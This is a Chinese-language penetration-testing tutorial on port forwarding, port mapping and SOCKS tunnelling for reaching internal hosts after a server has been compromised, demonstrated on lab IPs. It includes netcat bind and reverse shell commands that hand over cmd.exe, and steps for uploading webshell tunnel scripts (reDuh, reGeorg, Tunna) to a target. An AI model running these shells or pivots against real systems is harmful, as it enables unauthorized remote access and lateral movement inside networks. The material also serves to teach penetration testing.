端口转发、映射、代理
端口轉發(fā)&端口映射
在實際滲透過程中,我們成功入侵了目標服務器。接著我們想在本機上通過瀏覽器或者其他客戶端軟件訪問目標機器內部網(wǎng)絡中所開放的端口,比如內網(wǎng)的3389端口、內網(wǎng)網(wǎng)站8080端口等等。傳統(tǒng)的方法是利用nc、lcx等工具,進行端口轉發(fā)。
0x01 什么是端口轉發(fā)
端口轉發(fā)就是將一個端口,這個端口可以本機的端口也可以是本機可以訪問到的任意主機的端口,轉發(fā)到任意一臺可以訪問到的IP上,通常這個IP是公網(wǎng)IP。
適用端口轉發(fā)的網(wǎng)絡環(huán)境有以下幾種:
1. 服務器處于內網(wǎng),可以訪問外部網(wǎng)絡。
2. 服務器處于外網(wǎng),可以訪問外部網(wǎng)絡,但是服務器安裝了防火墻來拒絕敏感端口的連接。
3. 服務器處于內網(wǎng),對外只開放了80端口,并且服務器不能訪問外網(wǎng)網(wǎng)絡。
0x02 什么是端口映射
映射端口,就是將一個內網(wǎng)端口映射到公網(wǎng)上的某個端口,假設我自己的電腦是在內網(wǎng)中,沒有公網(wǎng)IP,但是我想提供一個端口供其他人使用,這就是端口映射。
0x03 端口轉發(fā)和端口映射的區(qū)別
端口映射場景
外網(wǎng)主機A想訪問內網(wǎng)主機B上的服務。
端口轉發(fā)場景
外網(wǎng)主機A已經(jīng)可以任意內網(wǎng)主機B上的端口,但是無法訪問內網(wǎng)主機C上的端口。此時可以將C主機的端口到B主機的端口,那么外網(wǎng)主機A訪問B主機的某某端口就相當于訪問了C主機的某某。
總結
端口轉發(fā)和端口映射原理是一樣的只不過是應用場景不一樣,假如我們將本機的端口轉發(fā)到遠程主機端口,我們可以叫端口映射,也可以叫端口轉發(fā)
如果把本機可以訪問到的任意IP的端口轉發(fā)到另外一臺服務器的端口,就叫他端口轉發(fā)
0x04 正向連接和反向連接的區(qū)別
正向連接:你的機器連接目標機器
反向連接:目標機器反連你的機器
不論映射,還是轉發(fā),都有正有反,原理相同
0x05 環(huán)境拓撲圖
?
0x06 LCX
lcx.exe是一個端口轉發(fā)工具,有Windows和Linux兩個版本,Windows是lcx,Linux是portmap。
lcx有兩個功能:1、端口轉發(fā)(listen和slave);2、端口映射(tran)
1、lcx端口映射
A外網(wǎng) 無法訪問 內網(wǎng)B,B內網(wǎng) 可以訪問 外網(wǎng)A
A:192.168.30.140(外網(wǎng)win10)
B:192.168.30.133(內網(wǎng)xp)
由于是在虛擬機進行實驗,這里把133的防火墻打開,當作內網(wǎng)環(huán)境,140的防火墻關閉,當作外網(wǎng)環(huán)境,所以正常情況下133能訪問140,而139不能直接訪問133,這是兩臺機器互ping的結果。
1)在內網(wǎng)主機上執(zhí)行:
lcx.exe -slave 公網(wǎng)主機IP 公網(wǎng)主機端口 內網(wǎng)主機IP 內網(wǎng)主機端口
例如:
lcx.exe -slave 192.168.30.140 4444 127.0.0.1 3389 //把內網(wǎng)主機的3389端口轉發(fā)到公網(wǎng)主機的4444端口
2)在公網(wǎng)主機上執(zhí)行:
lcx.exe -listen 公網(wǎng)主機端口1 公網(wǎng)主機端口2
lcx.exe -tran 公網(wǎng)主機端口1 公網(wǎng)主機端口2
例如:
lcx.exe -listen 4444 5555 //監(jiān)聽公網(wǎng)主機的4444端口請求,并將來自4444端口的請求傳送給5555端口
lcx.exe -tran 4444 5555 //將接收到的4444端口映射到5555端口
2、lcx端口轉發(fā)
A外網(wǎng) 可以訪問 內網(wǎng)B,B內網(wǎng) 可以訪問 內網(wǎng)C,A外網(wǎng) 不能訪問 內網(wǎng)C
A:192.168.30.140(外網(wǎng)win10)
B:192.168.30.133(內網(wǎng)xp)
C:192.168.30.139(內網(wǎng)win7)
在內網(wǎng)主機B上執(zhí)行:lcx.exe -tran 6666 192.168.30.139 3389
此時訪問B主機上的6666端口就相當于訪問C主機上的3389端口,在主機A開啟遠程連接192.168.30.133:6666
3、portmap
A:192.168.30.137(內網(wǎng)Centos)
B:192.168.30.138(公網(wǎng)Centos)
C:192.168.30.142(攻擊機器)
在具有公網(wǎng)IP的主機B上執(zhí)行:
./portmap -m 2 -p1 6666 -h2 192.168.30.138 -p2 7777
?
意思是監(jiān)聽來自6666端口的請求,將其轉發(fā)到7777端口
然后在內網(wǎng)主機A上執(zhí)行:
./portmap 3 -h1 127.0.0.1 -p1 22 -h2 192.168.30.138 -p2 6666
意思是將內網(wǎng)主機22端口的流量轉發(fā)到公網(wǎng)主機的6666端口
然后連接到公網(wǎng)主機的7777端口就相當于連接到內網(wǎng)主機的22端口
0x07 nc端口轉發(fā)
1、正向連接
A內網(wǎng) 可以訪問 外網(wǎng)B,B外網(wǎng) 無法訪問 內網(wǎng)A
A:192.168.30.133(內網(wǎng)xp)
B:192.168.30.140(外網(wǎng)win10)
在內網(wǎng)主機A執(zhí)行
nc -l -p 5555 -t -e cmd.exe
在公網(wǎng)主機B執(zhí)行
nc -nvv 192.168.30.133 5555
2、反向連接
A外網(wǎng) 無法訪問 內網(wǎng)B,B內網(wǎng) 可以訪問 外網(wǎng)A
A:192.168.30.140(外網(wǎng)win10)
B:192.168.30.133(內網(wǎng)xp)
在公網(wǎng)主機上監(jiān)聽
nc -lvp 6666
在內網(wǎng)主機上執(zhí)行
nc -t -e cmd.exe 192.168.30.140 6666
?
代理
0x01 什么是代理
代理(Proxy),也稱網(wǎng)絡代理,是一種特殊的網(wǎng)絡服務,允許一個網(wǎng)絡終端(一般為客戶端)通過這個服務與另一個網(wǎng)絡終端(一般為服務器)進行非直接的連接。一些網(wǎng)關、路由器等網(wǎng)絡設備具備網(wǎng)絡代理功能。一般認為代理服務有利于保障網(wǎng)絡終端的隱私或安全,防止攻擊。
0x02 代理類別
http代理、socks代理、ftp代理、telent代理、ssl代理
0x03 正向代理和反向代理的區(qū)別
正向代理(Forward Proxy)
Lhost——>proxy——>Rhost
反向代理(reverse proxy)
Lhost<——>proxy<——>firewall<——>Rhost
正向代理中,proxy 和 client 同屬一個 LAN,對 server 透明;
反向代理中,proxy 和 server 同屬一個 LAN,對 client 透明。
一個代理的是客戶端,一個代理的是服務器,實際上proxy在兩種代理中做的事都是代為收發(fā)請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,后者叫做反向代理。
0x04 socks代理工具
1、Earthworm
EW 是一套便攜式的網(wǎng)絡穿透工具,具有 SOCKS v5服務架設和端口轉發(fā)兩大核心功能,可在復雜網(wǎng)絡環(huán)境下完成網(wǎng)絡穿透。該工具能夠以“正向”、“反向”、“多級級聯(lián)”等方式打通一條網(wǎng)絡隧道,直達網(wǎng)絡深處,用蚯蚓獨有的手段突破網(wǎng)絡限制,給防火墻松土。工具包中提供了多種可執(zhí)行文件,以適用不同的操作系統(tǒng),Linux、Windows、MacOS、Arm-Linux 均被包括其內。
使用方法:ew穿透
2、Termite
Termite 是EW(EarthWorm)的最新版,多平臺支持、跳板機互聯(lián)、正反向級聯(lián)、小巧無依賴、內置Shell令主機管理的特點顯得更加方便。
使用方法:http://rootkiter.com/Termite/README.txt
3、reDuh
reDuh也是一款內網(wǎng)滲透利器,這個工具可以把內網(wǎng)服務器的端口通過http/https隧道轉發(fā)到本機,形成一個連通回路。用于目標服務器在內網(wǎng)或做了端口策略的情況下連接目標服務器內部開放端口。服務端是個webshell,工具里面針對不同服務器有aspx,php,jsp三個版本,客戶端是java寫的,本機執(zhí)行最好裝上jdk。、
使用方法:
將代理腳本上傳到目標服務器,在本地訪問代理腳本,驗證腳本情況
在本地執(zhí)行以下命令
java -jar reDuhClient.jar?http://192.168.30.140/reDuh.phpnc -vv 127.0.0.1 1010[createTunnel]1234:127.0.0.1:3389遠程登錄127.0.0.1:1234就可以連接到內部
4、reGeorg
reGeorg是reDuh的升級版,主要是把內網(wǎng)服務器的端口通過http/https隧道轉發(fā)到本機,形成一個回路。用于目標服務器在內網(wǎng)或做了端口策略的情況下連接目標服務器內部開放端口。它利用webshell建立一個socks代理進行內網(wǎng)穿透,服務器必須支持aspx、php或jsp這些web程序中的一種。
使用方法:
上傳對應服務器腳本到目標主機的服務器,我選擇的是php
訪問會顯示“Georg says, 'All seems fine'”,表示腳本運行正常,之后就是運行reGeorg監(jiān)聽指定端口,如:
reGeorgSocksProxy.py -p 8888 -u?http://192.168.30.140/tunnel.nosocket.php
接下來配置proxifier,設置代理127.0.0.1:8888 socks5,規(guī)則默認即可,右鍵使用proxy socks5 127.0.0.1去打開遠程桌面,輸入內網(wǎng)IP,此時環(huán)境是同在一個內網(wǎng),所以可以成功連接。
5、sSocks
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支持socks5驗證,支持IPV6和UDP,并提供反向socks代理服務,即將遠程計算機作為socks代理服務端,反彈回本地,極大方便內網(wǎng)的滲透測試,其最新版為0.0.14。
使用方法:
下載解壓后,編譯
./configure && make
編譯完成,進入src目錄,會發(fā)現(xiàn)有nsocks、ssocksd、ssocks、rcsocks
其功能說明介紹如下:
程序功能:
nsocks 類似通過Socks5代理后的netcat,可用來測試socks server ssocksd 用來開啟Socks5代理服務 ssocks 本地啟用Socks5服務,并反彈到另一IP地址 rcsocks 接收反彈過來的Socks5服務,并轉向另一端口
公網(wǎng)主機上執(zhí)行:
./rcsocks -l 1080 -p 5555 -vv
內網(wǎng)主機上執(zhí)行:
./rssocks –vv –s 公網(wǎng)主機ip:5555
這時本地主機可以通過訪問公網(wǎng)主機的 1080 端口訪問內網(wǎng)主機,或者使用各種socks代理工具配置代理即可
6、proxychains
Proxychains是一款在Linux下可以實現(xiàn)全局代理的軟件,性能相當穩(wěn)定可靠。在使任何程序通過代理上網(wǎng),允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務器。
7、Tunna
Tunna這個工具使用起來也特方便,腳本的編寫也是基于Python2版本。運用的時候也需要我們把代理腳本上傳到目標服務器,然后通過代理內網(wǎng)的某個端口,注意這個工具只能代理一個端口,有點局限性。但是我們可以代理3389、22、3306、1433等敏感端口,然后將敏感端口流量轉發(fā)了外網(wǎng)的的某個端口,我們再通過本地連接外網(wǎng)的端口進行連接,這樣的話我們就可以使用了。
第一步:上傳對應服務器腳本到目標主機的服務器,我選擇的是php
第二步:運行proxy.py 并指定端口
python proxy.py -u?http://192.168.30.140/conn.php?-l 1234 -r 3389 -v
第三步:遠程連接127.0.0.1:1234
8、frp
frp 是一個可用于內網(wǎng)穿透的高性能的反向代理應用,支持 tcp, udp, http, https 協(xié)議。
服務端
修改服務端的部署文件 frps.ini
將?frps.ini 及frps.exe?上傳到公網(wǎng)機器上,以管理員的身份cmd到其目錄下,運行如下的命令
frps -c frps.ini
看到下圖就運行成功了
不要忘記在防火墻將相關的端口打開,不然會報錯,或者是訪問不了
這樣服務端就部署成功了,可以訪問 dashboard查看監(jiān)控信息。
服務端的這個命令行窗口不要關,關了服務就掛了
客戶端
修改客戶端的部署文件 frpc.ini
[common] server_addr = xx.xx.xx.xx #你的公網(wǎng)機器的ip地址 server_port = 7000[ssh] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 6000將 frpc.ini 及frpc.exe 放到本地機器上,以管理員的身份cmd到其目錄下,運行如下的命令
frpc -c frpc.ini
服務器端對應的端口也要打開,然后這個cmd窗口不能關,不然服務就終止了,這個是下面開機自啟動要解決的問題。為了支持遠程訪問,window下的允許遠程訪問要打開。
最后就可以愉快的用原生的遠程桌面訪問機器了
0x05 ssh隧道代理轉發(fā)
ssh有三個強大的端口轉發(fā)命令,分別是本地轉發(fā)、遠程轉發(fā)、動態(tài)轉發(fā)。
參數(shù)詳解
-q Quiet mode. 安靜模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before command execution. 后臺運行,并推薦加上 -n 參數(shù) -N Do not execute a remote command. 不執(zhí)行遠程命令,端口轉發(fā)就用它了 -L port:host:hostport 將本地機(客戶機)的某個端口轉發(fā)到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經(jīng)過安全通道轉發(fā)出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發(fā). 只有 root 才能轉發(fā)特權端口. IPv6 地址用另一種格式說明: port/host/hostport -R port:host:hostport 將遠程主機(服務器)的某個端口轉發(fā)到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經(jīng)過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發(fā). 只有用 root 登錄遠程主機才能轉發(fā)特權端口. IPv6 地址用另一種格式說明: port/host/hostport -D port 指定一個本地機器 “動態(tài)的’’ 應用程序端口轉發(fā). 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經(jīng)過安全通道轉發(fā)出去, 根據(jù)應用程序的協(xié)議可以判斷出遠程主機將和哪里連接. 目前支持 SOCKS協(xié)議, 將充當SOCKS服務器. 只有 root 才能轉發(fā)特權端口. 可以在配置文件中指定動態(tài)端口的轉發(fā).1、ssh本地轉發(fā)
本地訪問127.0.0.1:port1就是host:port2
ssh -CfNg -L port1:127.0.0.1:port2 user@host //本地轉發(fā)
應用場景:
遠程管理服務器上的mysql,mysql不能直接root遠程登陸。這時候就可以通過本地轉發(fā),通過ssh將服務器的3306端口轉發(fā)到本地1234端口
ssh -CfNg -L 1234:127.0.0.1:3306?root@192.168.30.133?//本地轉發(fā)
2、ssh遠程轉發(fā)
訪問host:port2就是訪問127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host //遠程轉發(fā)
應用場景:
內網(wǎng)的服務器,外網(wǎng)不能直接訪問,使用遠程轉發(fā),將內網(wǎng)的服務器端口轉發(fā)到外網(wǎng)端口。這時候訪問外網(wǎng)的端口,就訪問到了內網(wǎng)的端口
ssh -CfNg -R 81:127.0.0.1:80?root@192.168.30.133?//遠程轉發(fā)
3、dmz_host的hostport端口通過remote_ip轉發(fā)到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip //正向隧道,監(jiān)聽本地port
4、dmz_host的hostport端口轉發(fā)到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip //反向隧道,用于內網(wǎng)穿透防火墻限制之類
5、socket動態(tài)轉發(fā)socks代理
ssh -qTfnN -D 1080?root@192.168.30.133
之后和proxychains搭配工具一起使用
0x06 內網(wǎng)穿透平臺
ngrok、natapp等
總結
以上是生活随笔為你收集整理的端口转发、映射、代理的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java编译器:Javac
- 下一篇: mysql表名命名规范_数据库表名的命名